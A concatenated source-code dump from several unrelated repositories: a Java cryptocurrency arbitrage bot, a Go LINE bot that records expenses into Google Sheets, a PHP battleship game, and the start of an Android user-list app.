return numerator.hashCode() + denominator.hashCode() * 51;
}
@Override
public int compareTo(Fraction o) {
FractionPairWithCommonDenominator pair = new FractionPairWithCommonDenominator(this, o);
return pair.numerator1.compareTo(pair.numerator2);
}
@Override
public String toString() {
return numerator.toString() + " / " + denominator.toString();
}
}
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/CryptoConfigs.java
package BenTrapani.CryptoArbitrage;
import java.math.BigDecimal;
public class CryptoConfigs {
public static final int decimalScale = 20;
public static final BigDecimal decimalRoundAdjustDigit = BigDecimal.ONE.divide(BigDecimal.TEN.pow(decimalScale - 3),
decimalScale, BigDecimal.ROUND_DOWN);
}
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/ConcreteCurrencyBalanceDS.java
package BenTrapani.CryptoArbitrage;
import java.util.Hashtable;
import org.knowm.xchange.currency.Currency;
public class ConcreteCurrencyBalanceDS implements ArbitrageExecutor.CurrencyBalanceDS {
private Hashtable<String, StreamingExchangeSubset> streamingExchangeSubsetByName = new Hashtable<String, StreamingExchangeSubset>();
public ConcreteCurrencyBalanceDS(StreamingExchangeSubset[] exchanges) {
for (StreamingExchangeSubset exchange : exchanges) {
streamingExchangeSubsetByName.put(exchange.getExchangeName(), exchange);
}
}
@Override
public Fraction getBalance(Currency currency, String exchangeName) {
return new Fraction(100000, 1);
/*
* StreamingExchangeSubset keyedExchange =
* streamingExchangeSubsetByName.get(exchangeName); if (keyedExchange ==
* null) { throw new
* IllegalStateException("Exchange not found for name " + exchangeName);
* } Fraction balanceAvailableForTrade = new
* Fraction(keyedExchange.getBalanceForCurrencyAvailableToTrade(currency
* )); return balanceAvailableForTrade;
*/
}
}
<file_sep>/README.md
# Crypto arbitrage
Builds a graph of all currency conversions possible connected to the exchanges specified in App.java. Take the following path for example:
BTC--10-->LTC--0.05-->DGC--2.01-->BTC
The combined ratio of the path is 1.005, yielding a 1.005x return if all trades are filled. The graph of possible trades is checked after each update and the best loop is found. The common source / dest currency is specified during construction of OrderBookAnalyzer (see CryptoArbitrageManager.java). The minimum ratio required to execute trades is also specified in CryptoArbitrageManager.java (ArbitrageExecutor constructor, defaults to 1).
When a path meeting or exceeding the minimum required threshold is found, the maximum quantity that can be pushed through the path is computed such that the quantities of each intermediate currency (all but BTC in the example above) remain the same. The quantity of BTC will increase by 1.005x after all trades are filled. The maximum quantity of the path is limited by the quantity of the order used to build the corresponding graph edge. It is also limited by the quantity that the user has in the given currency on the exchange associated with the graph edge used (see ArbitrageExecutor.java for details on this computation).
## Building and running demo
The code in master does not place any trades but prints trades for profitable paths to the console. It assumes a large balance available to trade in all currencies on all exchanges. To run the demo:
```
mvn install
java -jar target/CryptoArbitrage-0.0.1-SNAPSHOT.jar
```
Note: CEXIO and some other exchanges require API keys even for market data. See below for instructions on configuring API keys.
## Configuring exchanges
The exchanges to trade on are configured in App.java. The more exchanges are added, the higher the chance of finding a profitable path but the higher the latency incurred when searching for profitable paths. A reasonable initial set of exchanges is provided with notes on others tried. To add a new exchange:
1. Instantiate the exchange using either the StreamingExchangeFactor (if supported in xchange-stream) or ExchangeFactory (if only polling interaction supported by xchange).
2. Add to exchangeCollection array to ensure that API keys are read from the json file and configured.
3. Add exchange to exchangeSubsets list. Wrap in StreamingExchangeAdapter if the exchange is created from an xchange-stream API, and in PollingExchangeAdapter if created via a normal xchange polling exchange.
4. Compile and run. There will likely be messages printed to console about unrecognized currency pairs, missing fees etc. These are bugs or missing features in xchange / xchange-stream and can be fixed or added by submitted changes to these projects.
## Trading Quick Start
To get set up for trading, perform the following steps:
1. Update APIKeys.json with your API keys for the exchanges that you plan to trade (see existing configs for example. The default API keys have been deactivated.)
2. Uncomment the commented block in ConcreteCurrencyBalanceDS.java and remove the initial return. This code will query your balance in a currency to be traded during computation of max loop quantity.
3. Uncomment call to placeOrders in AribtrageExecutor.onOrderBookAnalysisComplete. This code will place limit orders for the trades printed to stdout.
## Why open source?
I am no longer able to use this project per contract with my employer, but hope other people in the crypto trading community can make use of it.<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/OrderGraph.java
package BenTrapani.CryptoArbitrage;
import java.util.Collections;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.List;
import org.knowm.xchange.currency.Currency;
public class OrderGraph implements Cloneable {
public static class TwoSidedGraphEdge {
public final Currency sourceCurrency;
public final GraphEdge graphEdge;
public TwoSidedGraphEdge(Currency sourceCurrency, GraphEdge graphEdge) {
this.sourceCurrency = sourceCurrency;
this.graphEdge = graphEdge;
}
@Override
public int hashCode() {
final int sourceCurrencyHashCode = sourceCurrency.hashCode();
final int graphEdgeHashCode = graphEdge.hashCode();
final int hash = 2039 * sourceCurrencyHashCode + graphEdgeHashCode;
return hash;
}
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final TwoSidedGraphEdge other = (TwoSidedGraphEdge) obj;
return sourceCurrency.equals(other.sourceCurrency) && graphEdge.equals(other.graphEdge);
}
@Override
public String toString() {
String result = "sourceCurrency:" + sourceCurrency.toString() + graphEdge.toString();
return result;
}
}
protected static class GraphEdge {
public final String exchangeName;
public final Currency destCurrency;
public final boolean isBuy;
public final Fraction quantity;
public final Fraction price;
// Ratio is the amount of dest per unit source
public final Fraction ratio;
// Quantity is specified in amount of base.
// Price is specified in amount of counter per unit base.
// If this is a buy order, we go counter -> base, so ratio is 1 / price
// and quantity is in units destCurrency
// If this is a sell order, we go base -> counter, so ratio is price and
// quantity is in units sourceCurrency (defined outside of this class)
// TODO add dest quantity field that it is always in terms of
// destCurrency.
// This way, dest quantity / ratio = amount destCurrency in terms of
// source currency, since ratio = quantity dest / quantity source
// Quantity is always given in base. If sell, quantity * price =
// quantity counter = dest quantity, otherwise dest quantity = quantity.
public GraphEdge(String exchangeName, Currency destCurrency, boolean isBuy, Fraction quantity, Fraction price,
Fraction feeFraction) {
this.exchangeName = exchangeName;
this.destCurrency = destCurrency;
this.isBuy = isBuy;
this.quantity = quantity;
this.price = price;
Fraction unadjustedRatio = this.isBuy ? new Fraction(1).divide(this.price) : this.price;
// 1. ratio = unadjustedRatio * (1 - feeFraction)
// We lose feeFraction * unadjustedRatio dest per unit source due to
// fees, since
// unadjustedRatio is dest per unit source and fee can be considered
// taken out of dest.
// Show (source - (source * fee)) * unadjustedRatio = dest - (dest *
// fee)
// Since unadjustedRatio by definition is dest / unit source, we are
// done
// Show that (source - (source * fee)) * unadjustedRatio = source *
// (unadjustedRatio * (1 - fee))
// source * unadjustedRatio - source * fee * unadjustedRatio =
// source * unadjustedRatio * (1 - fee)
// Done, the two are equivalent. Can equivalently adjust source or
// dest by fee and get the same ratio,
// that is computed using formula 1.
this.ratio = unadjustedRatio.subtract(unadjustedRatio.multiply(feeFraction));
}
@Override
public String toString() {
String result = " Exchange:" + exchangeName;
result += " dest:" + destCurrency;
result += " buy:" + isBuy;
result += " quantity:" + quantity.toString();
result += " price:" + price.toString();
result += " ratio:" + ratio.toString();
return result;
}
@Override
public int hashCode() {
final int exchangeHashCode = exchangeName.hashCode();
final int currencyHashCode = destCurrency.hashCode();
final int quantityHashCode = quantity.hashCode();
final int priceHashCode = price.hashCode();
final int ratioHashCode = ratio.hashCode();
final int hash = 59 * exchangeHashCode + 47 * currencyHashCode + 197 * quantityHashCode
+ 163 * priceHashCode + 179 * ratioHashCode + (this.isBuy ? 797 : 0);
return hash;
}
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final GraphEdge other = (GraphEdge) obj;
return exchangeName.compareTo(other.exchangeName) == 0 && destCurrency.equals(other.destCurrency)
&& isBuy == other.isBuy && quantity.equals(other.quantity) && price.equals(other.price)
&& ratio.equals(other.ratio);
}
}
private static class DirectedCurrencyPair {
public final Currency source;
public final Currency dest;
public DirectedCurrencyPair(Currency counter, Currency base, boolean isBuy) {
if (isBuy) {
source = counter;
dest = base;
} else {
source = base;
dest = counter;
}
}
}
// Coarse locking on graphSet is used to avoid data races when updating
// graph
private Hashtable<Currency, HashSet<GraphEdge>> graphSet;
public OrderGraph() {
graphSet = new Hashtable<Currency, HashSet<GraphEdge>>();
}
public OrderGraph(Hashtable<Currency, HashSet<GraphEdge>> graphSet) {
if (graphSet == null) {
throw new IllegalArgumentException("initial graph set cannot be null in copy constructor for OrderGraph");
}
this.graphSet = graphSet;
}
// Call this after clearing all edges for an exchange that received an
// update. Add edges for all orders.
public void addEdge(Currency counter, Currency base, String exchangeName, boolean isBuyOrder, Fraction quantity,
Fraction price, Fraction feeFraction) {
DirectedCurrencyPair currencyPair = new DirectedCurrencyPair(counter, base, isBuyOrder);
GraphEdge newEdge = new GraphEdge(exchangeName, currencyPair.dest, isBuyOrder, quantity, price, feeFraction);
synchronized (graphSet) {
if (!graphSet.containsKey(currencyPair.source)) {
graphSet.put(currencyPair.source, new HashSet<GraphEdge>());
}
HashSet<GraphEdge> edgesHere = graphSet.get(currencyPair.source);
edgesHere.add(newEdge);
}
}
public boolean removeEdge(Currency counter, Currency base, String exchangeName, boolean isBuy, Fraction quantity,
Fraction price, Fraction feeFraction) {
DirectedCurrencyPair mutablePair = new DirectedCurrencyPair(counter, base, isBuy);
synchronized (graphSet) {
if (graphSet.containsKey(mutablePair.source)) {
HashSet<GraphEdge> edgesHere = graphSet.get(mutablePair.source);
GraphEdge edgeToRemove = new GraphEdge(exchangeName, mutablePair.dest, isBuy, quantity, price,
feeFraction);
return edgesHere.remove(edgeToRemove);
}
}
return false;
}
public List<Currency> getVertices() {
synchronized (graphSet) {
return (List<Currency>) Collections.list(graphSet.keys());
}
}
public HashSet<TwoSidedGraphEdge> getEdges(Currency source) {
synchronized (graphSet) {
HashSet<GraphEdge> edgesForCurrency = graphSet.get(source);
if (edgesForCurrency == null || edgesForCurrency.size() == 0) {
return null;
}
HashSet<TwoSidedGraphEdge> result = new HashSet<TwoSidedGraphEdge>();
for (GraphEdge graphEdge : edgesForCurrency) {
result.add(new TwoSidedGraphEdge(source, graphEdge));
}
return result;
}
}
public HashSet<TwoSidedGraphEdge> getEdgesWithNonzeroQuantity(Currency source) {
HashSet<TwoSidedGraphEdge> unfilteredEdgesFromSource = this.getEdges(source);
if (unfilteredEdgesFromSource == null) {
return unfilteredEdgesFromSource;
}
Fraction zeroFrac = new Fraction(0);
unfilteredEdgesFromSource.removeIf(graphEdge -> {
return graphEdge.graphEdge.quantity.compareTo(zeroFrac) <= 0;
});
return unfilteredEdgesFromSource;
}
@SuppressWarnings("unchecked")
@Override
public Object clone() {
Hashtable<Currency, HashSet<GraphEdge>> graphSetDup = new Hashtable<Currency, HashSet<GraphEdge>>();
synchronized (graphSet) {
for (Currency k : graphSet.keySet()) {
graphSetDup.put(k, (HashSet<GraphEdge>) graphSet.get(k).clone());
}
}
return new OrderGraph(graphSetDup);
}
}
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/CryptoArbitrageManager.java
package BenTrapani.CryptoArbitrage;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import org.knowm.xchange.currency.Currency;
import org.knowm.xchange.currency.CurrencyPair;
import info.bitrich.xchangestream.core.ProductSubscription;
import info.bitrich.xchangestream.core.ProductSubscription.ProductSubscriptionBuilder;
import io.reactivex.disposables.Disposable;
public class CryptoArbitrageManager {
private ArrayList<Disposable> subscriptions;
private StreamingExchangeSubset[] exchanges;
private OrderGraph orderGraph = new OrderGraph();
private ArbitrageExecutor arbitrageExecutor = new ArbitrageExecutor(new Fraction(1));
private OrderBookAnalyzer orderBookAnalyzer = new OrderBookAnalyzer(orderGraph, Currency.BTC, 4, arbitrageExecutor);
private OrderBookAggregator orderBookAggregator = new OrderBookAggregator(orderGraph, orderBookAnalyzer, 1, 1);
public CryptoArbitrageManager(StreamingExchangeSubset[] exchanges) {
subscriptions = new ArrayList<Disposable>(exchanges.length);
for (StreamingExchangeSubset exchange : exchanges) {
Set<CurrencyPair> currenciesForExchange = exchange.getCurrencyPairs();
ProductSubscriptionBuilder builder = ProductSubscription.create();
for (CurrencyPair currencyPair : currenciesForExchange) {
builder = builder.addOrderbook(currencyPair);
}
exchange.buildAndWait(builder);
}
this.exchanges = exchanges.clone();
arbitrageExecutor.setExchanges(this.exchanges);
}
public void startArbitrage() {
for (int i = 0; i < exchanges.length; i++) {
Disposable[] tempDisposables = orderBookAggregator.createConsumerForExchange(exchanges[i]);
List<Disposable> subsList = new ArrayList<Disposable>(Arrays.asList(tempDisposables));
subscriptions.addAll(subsList);
}
orderBookAnalyzer.startAnalyzingOrderBook();
}
public void stopArbitrage() {
for (Disposable disp : subscriptions) {
try {
disp.dispose();
} catch (Exception e) {
System.out.println("Error disposing order book subscriber: " + e.toString());
}
}
try {
orderBookAnalyzer.stopAnalyzingOrderBook();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
<file_sep>/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>BenTrapani</groupId>
<artifactId>CryptoArbitrage</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>
<name>CryptoArbitrage</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<!-- put your configurations here -->
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<!-- Build an executable JAR -->
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.0.2</version>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>BenTrapani.CryptoArbitrage.App</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/java</directory>
<filtering>true</filtering>
</resource>
</resources>
</build>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-stream-core</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-binance</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-hitbtc</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-bitfinex</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-bitflyer</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-gemini</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-poloniex2</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>org.knowm.xchange</groupId>
<artifactId>xchange-kraken</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-cexio</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-bitstamp</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>info.bitrich.xchange-stream</groupId>
<artifactId>xchange-kraken</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.5</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.5</version>
</dependency>
</dependencies>
</project>
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/PollingExchangeAdapter.java
package BenTrapani.CryptoArbitrage;
import java.io.IOException;
import java.util.ArrayList;
import org.knowm.xchange.Exchange;
import org.knowm.xchange.currency.CurrencyPair;
import org.knowm.xchange.dto.marketdata.OrderBook;
import org.knowm.xchange.dto.meta.ExchangeMetaData;
import org.knowm.xchange.dto.meta.RateLimit;
import info.bitrich.xchangestream.core.ProductSubscription.ProductSubscriptionBuilder;
import io.reactivex.Observable;
public class PollingExchangeAdapter extends StreamingExchangeSubset {
private ArrayList<Thread> pollingThreads = new ArrayList<Thread>();
private boolean shouldPollingThreadsRun;
public PollingExchangeAdapter(Exchange exchange) {
super(exchange);
}
/***
* Intentionally skip this, as it is not needed for non-streaming exchange
*/
@Override
public void buildAndWait(ProductSubscriptionBuilder builder) {
}
@Override
public Observable<OrderBook> getOrderBook(CurrencyPair currencyPair) {
shouldPollingThreadsRun = true;
RateLimit[] rateLimits = exchange.getExchangeMetaData().getPublicRateLimits();
int numCurrencyPairs = getCurrencyPairs().size();
// Multiply by numCurrencyPairs here because we will hit the API
// numCurrencyPairs times per delay interval
long delayMillis = ExchangeMetaData.getPollDelayMillis(rateLimits) * numCurrencyPairs;
return Observable.<OrderBook>create(e -> {
Thread pollingThread = new Thread() {
public void run() {
while (shouldPollingThreadsRun) {
OrderBook orderBookSnapshot = null;
try {
synchronized (exchange) {
orderBookSnapshot = exchange.getMarketDataService().getOrderBook(currencyPair);
}
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
long curTimeMillis = System.currentTimeMillis();
if (orderBookSnapshot != null) {
e.onNext(orderBookSnapshot);
}
long timeToSleep = delayMillis - (System.currentTimeMillis() - curTimeMillis) + 1;
try {
Thread.sleep(timeToSleep);
} catch (InterruptedException exception) {
// TODO Auto-generated catch block
exception.printStackTrace();
}
}
}
};
synchronized (pollingThreads) {
pollingThreads.add(pollingThread);
}
pollingThread.start();
}).doOnDispose(() -> {
shouldPollingThreadsRun = false;
synchronized (pollingThreads) {
for (Thread pollingThread : pollingThreads) {
pollingThread.join();
}
}
}).doOnError((Throwable t) -> {
System.out.println("Error in polling exchange: " + t.toString());
}).share();
}
}
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/OrderGraphChangeHandler.java
package BenTrapani.CryptoArbitrage;
public interface OrderGraphChangeHandler {
public void onOrderGraphChanged();
}
|
702e0bf2f5e3519875ca9f8df4d867fe18502508
|
[
"Markdown",
"Java",
"Maven POM"
] | 10 |
Java
|
ken2190/CryptoArbitrage
|
91b16342b444b5f210d2da3b39d8529367c1694e
|
50b9c583c0ccf7c05730f3c2fb8d49d9cc03ce6b
|
refs/heads/master
|
<repo_name>nearih/expense-bot<file_sep>/go.mod
module expense-bot
go 1.12
require (
github.com/line/line-bot-sdk-go v6.3.0+incompatible
github.com/spf13/viper v1.4.0
github.com/stretchr/testify v1.4.0 // indirect
golang.org/x/net v0.0.0-20191011234655-491137f69257
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a // indirect
google.golang.org/api v0.11.0
)
<file_sep>/Dockerfile
FROM expense/golang:1.12.10
ENV TZ=Asia/Bangkok
RUN mkdir /go/src/expense-bot
COPY . /go/src/expense-bot
WORKDIR /go/src/expense-bot
RUN go mod tidy
RUN CGO_ENABLED=0 GOOS=linux go build -o ./server main.go
RUN pwd && ls -lah
# make it alpine
FROM alpine:3.10.2
COPY --from=0 /go/src/expense-bot/server .
COPY --from=0 /go/src/expense-bot/creds.json .
COPY --from=0 /go/src/expense-bot/config.json .
# add tzdata(time data) because alpine image does't have time and it will cause time.loadlocation to fail
RUN apk add --no-cache ca-certificates tzdata
RUN test -f /etc/nsswitch.conf || touch /etc/nsswitch.conf && echo 'hosts: files dns' > /etc/nsswitch.conf
RUN pwd && ls -lah
EXPOSE 7000
CMD ["./server"]
<file_sep>/config/config.go
package config
import (
"github.com/spf13/viper"
)
type Line struct {
Channeltoken string
Channelsecret string
}
type RootConfig struct {
Line Line
SpreadsheetID string
SheetRange string
Port int
}
var Config RootConfig
func init() {
viper.SetConfigType("json")
viper.SetConfigName("config")
viper.AddConfigPath("./")
err := viper.ReadInConfig()
if err != nil {
panic(err)
}
err = viper.Unmarshal(&Config)
if err != nil {
panic(err)
}
}
<file_sep>/main.go
package main
import (
"fmt"
"log"
"net/http"
"strconv"
"time"
"github.com/line/line-bot-sdk-go/linebot"
"expense-bot/config"
"golang.org/x/net/context"
"google.golang.org/api/option"
"google.golang.org/api/sheets/v4"
)
// TestHandler is for connetion testing with rest-api
func TestHandler(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(200)
w.Write([]byte("success"))
}
func main() {
http.HandleFunc("/", TestHandler)
http.HandleFunc("/bot", ExpenseBot)
port := config.Config.Port
if port == 0 {
port = 8080
}
log.Println("server is ready running at port", port)
log.Fatal(http.ListenAndServe(fmt.Sprintf(":%v", port), nil))
}
// ExpenseBot save line bot message to google spreadsheet
func ExpenseBot(w http.ResponseWriter, r *http.Request) {
// new linebot client
bot, err := linebot.New(config.Config.Line.Channelsecret,
config.Config.Line.Channeltoken,
)
// get event from line request
events, err := bot.ParseRequest(r)
if err != nil {
if err == linebot.ErrInvalidSignature {
w.WriteHeader(400)
} else {
w.WriteHeader(500)
}
return
}
msg := getMessage(events)
insertToSpreadsheet(msg)
// reply back to line
if _, err := bot.ReplyMessage(events[0].ReplyToken, linebot.NewTextMessage("เซฟให้เเล้วนะ :3")).Do(); err != nil {
log.Fatal(err)
}
w.WriteHeader(200)
}
// getMessage extracts msg from line event
func getMessage(events []*linebot.Event) string {
for _, event := range events {
if event.Type == linebot.EventTypeMessage {
switch message := event.Message.(type) {
case *linebot.TextMessage:
log.Println("message.Text", message.Text)
return message.Text
}
}
}
return ""
}
// insertToSpreadsheet insert message to spreadsheet
func insertToSpreadsheet(msg string) {
// convert msg to int
msgF, err := strconv.ParseFloat(msg, 64)
if err != nil {
log.Println("cannot convert msg", err)
return
}
// login to google spread sheet
srv := loginGoogle()
// get current time
loc, err := time.LoadLocation("Asia/Bangkok")
if err != nil {
log.Println("cannot load location: ", err)
return
}
date := time.Now().In(loc)
year, _, _ := date.Date()
// sheetRange := config.Config.SheetRange // this is sheetName or tab name eg: sheet1
sheetRange := strconv.Itoa(year)
//you can specific column/row if not thing specify it mean an entire sheet
dateS := date.Format("02/01/2006")
// get last row to verify, add month name if it is new month
get, err := srv.Spreadsheets.Values.Get(config.Config.SpreadsheetID, sheetRange).Do()
if err != nil {
log.Println("srv.Spreadsheets.Values.Get: ", err)
return
}
if len(get.Values) == 0 {
log.Println("value out of range, data now found")
return
}
lastDate, ok := (get.Values[len(get.Values)-1][0].(string))
if !ok {
log.Println("cannot extract data from map")
return
}
// pLastDate = parsed last date
pLastDate, err := time.Parse("02/01/2006", lastDate)
if err != nil {
log.Println("parse date error: ", err)
return
}
if pLastDate.Month() != date.Month() {
// add value got from line and create new month
b := []interface{}{}
m := []interface{}{date.Month().String()}
v := []interface{}{dateS, msgF}
rb := &sheets.ValueRange{
MajorDimension: "ROWS",
}
rb.Values = append(rb.Values, b)
rb.Values = append(rb.Values, m)
rb.Values = append(rb.Values, v)
_, err := srv.Spreadsheets.Values.Append(config.Config.SpreadsheetID, sheetRange+"!A1:A1000", rb).InsertDataOption("INSERT_ROWS").ValueInputOption("USER_ENTERED").Do()
if err != nil {
log.Println("cannot append: ", err)
return
}
return
}
// add value got from line
v := []interface{}{dateS, msgF}
rb := &sheets.ValueRange{
MajorDimension: "ROWS",
}
rb.Values = append(rb.Values, v)
_, err = srv.Spreadsheets.Values.Append(config.Config.SpreadsheetID, sheetRange, rb).InsertDataOption("INSERT_ROWS").ValueInputOption("USER_ENTERED").Do()
if err != nil {
log.Println("append value error: ", err)
return
}
return
}
// loginGoogle log in to google sheet sdk with credentialfile
func loginGoogle() *sheets.Service {
ctx := context.Background()
srv, err := sheets.NewService(ctx, option.WithCredentialsFile("./creds.json"))
if err != nil {
log.Fatalf("Unable to retrieve Sheets client: %v", err)
return nil
}
return srv
}
|
b6befb7b1c55079c605f1097e6d054857b5c24db
|
[
"Go",
"Go Module",
"Dockerfile"
] | 4 |
Go Module
|
nearih/expense-bot
|
6ddf30b8964b33ba03672f4ee9f8194f24222004
|
3fe217a7e0ec181ecf69a592e8fa68f4ddaa59fc
|
refs/heads/main
|
<file_sep><?php
session_start();
require_once 'model/functions.php';
if (isset($_POST['new_field'])) { // if field 1 is created
add_field_1(); // add field 1
$ships = check_ships(); // check ships and get them
}
echo "<pre>";
var_dump($ships);
echo "</pre>";
require_once 'view/header.php';
/* add new field 1 */
if ($_POST['start'] == 1) {
$_SESSION['start'] = 1;
require_once 'view/add_field.php';
}
/* start new game */
if (empty($_SESSION)) {
require_once 'view/start_0.php';
}
require_once 'view/footer.php';<file_sep><?php
session_start();
function add_field_1(){ // add array field 1
$_SESSION['field_1'] = array_slice($_POST,0,-1);
for ($i=1; $i < 5; $i++) {
for ($j=1; $j < 5; $j++) {
$a = 's' . $i . $j;
foreach ($_SESSION['field_1'] as $key => $value) {
if ($a == $key) {
$_SESSION['field_1'][$a] == 'on';
}
}
if ($_SESSION['field_1'][$a] != 'on') {
$_SESSION['field_1'][$a] = 0;
}
}
}
ksort($_SESSION['field_1']);
}
function check_ships(){ // check ships and get them
$arr_field_1 = $_SESSION['field_1'];
$ships = array();
foreach ($arr_field_1 as $key => $value) {
$go = 0;
/* check for replay */
foreach ($ships as $value_2) {
foreach ($value_2 as $value_3) {
if ($key === $value_3) {
$go = 1; // replay
}
}
}
/* get ships */
if ($go !== 1) {
$k_0 = str_replace('s', '', $key);
$k = $k_0;
/* vertical */
$ship = array();
$k_2 = $k - 10;
if ($value === 'on' && $arr_field_1['s' . $k_2] !== 'on') {
$ship[] = 's' . $k;
$k = $k + 10;
if ($k < 45 && $arr_field_1['s' . $k] === 'on') {
$ship[] = 's' . $k;
$k = $k + 10;
if ($k < 45 && $arr_field_1['s' . $k] === 'on') {
$ship[] = 's' . $k;
$ships[3] = $ship;
} else {
$ships[2] = $ship;
}
} else {
/* horisontal */
$k = $k_0;
$k_2 = $k - 1;
if ($arr_field_1['s' . $k_2] !== 'on') {
$go = 10 < $k && $k < 15 || 20 < $k && $k < 25 || 30 < $k && $k < 35 || 40 < $k && $k < 45;
$k = $k + 1;
if ($go && $arr_field_1['s' . $k] === 'on') {
$ship[] = 's' . $k;
$k = $k + 1;
if ($go && $arr_field_1['s' . $k] === 'on') {
$ship[] = 's' . $k;
$ships[3] = $ship;
} else {
$ships[2] = $ship;
}
} else {
$ships[1] = $ship;
}
}
}
}
}
}
ksort($ships);
return $ships;
}
|
3f82679453fdcb4c8a274aed9ff611a1990d5691
|
[
"PHP"
] | 2 |
PHP
|
Exisart/sea
|
53dbbaade17bb93389d63ceb82c198997f47cd1d
|
fda1f7e1b9b9a6a907e5cd7b4205a6e228bddfa7
|
refs/heads/master
|
<repo_name>papswell/ObservableLists<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/UserList/UserListAdapter.java
package pierre.guillaume.me.observablelists.UserList;
import android.support.v7.widget.RecyclerView;
import java.util.List;
import pierre.guillaume.me.observablelists.Model.User;
/**
* Created by Pierre on 28/06/2015.
*/
public abstract class UserListAdapter<ViewHolder extends RecyclerView.ViewHolder> extends RecyclerView.Adapter<ViewHolder>{
protected List<User> mDataset;
protected UserListCallback<User> onClickCallback;
public interface UserListCallback<T> {
void onClick(int position, T data);
void onLongClick(int position, T data);
}
public List<User> getData() {
return mDataset;
}
public UserListAdapter(UserListCallback<User> callback) {
this.onClickCallback = callback;
}
public void remove(User user) {
int position = mDataset.indexOf(user);
mDataset.remove(position);
notifyItemRemoved(position);
}
public void add(User user) {
add(mDataset.size(), user);
}
public void add(int position, User user) {
mDataset.add(position, user);
notifyItemInserted(position);
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/UserList/AllUser/AllUserListFragment.java
package pierre.guillaume.me.observablelists.UserList.AllUser;
import java.util.Observable;
import pierre.guillaume.me.observablelists.App;
import pierre.guillaume.me.observablelists.Model.User;
import pierre.guillaume.me.observablelists.R;
import pierre.guillaume.me.observablelists.UserList.UserListAdapter;
import pierre.guillaume.me.observablelists.UserList.UserListFragment;
/**
* Created by Pierre on 27/06/2015.
*/
public class AllUserListFragment extends UserListFragment implements UserListAdapter.UserListCallback<User> {
public AllUserListFragment() {
super();
this.title = "All Users";
this.usersAdapter = new AllUserListAdapter(this);
}
@Override
public int getLayoutResourceId() {
return R.layout.fragment_friend_list;
}
@Override
public void refreshData() {
((AllUserListAdapter) usersAdapter)
.setData(User.sortByUsername(App.USERS))
.notifyDataSetChanged();
}
@Override
public void onResume() {
refreshData();
super.onResume();
}
@Override
public void update(Observable observable, Object data) {
}
@Override
public void onClick(int position, User user) {
User.getCurentUser().toggleFriendRelation(user);
}
@Override
public void onLongClick(int position, User data) {
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/UserList/UserListFragmentFactory.java
package pierre.guillaume.me.observablelists.UserList;
import pierre.guillaume.me.observablelists.Model.User;
import pierre.guillaume.me.observablelists.UserList.AllUser.AllUserListFragment;
import pierre.guillaume.me.observablelists.UserList.BestFriends.BestFriendListFragment;
import pierre.guillaume.me.observablelists.UserList.Friends.FriendListFragment;
/**
* Created by Pierre on 27/06/2015.
*/
public class UserListFragmentFactory {
public static final String FRIEND_LIST_FRAGMENT = "FriendListFragment";
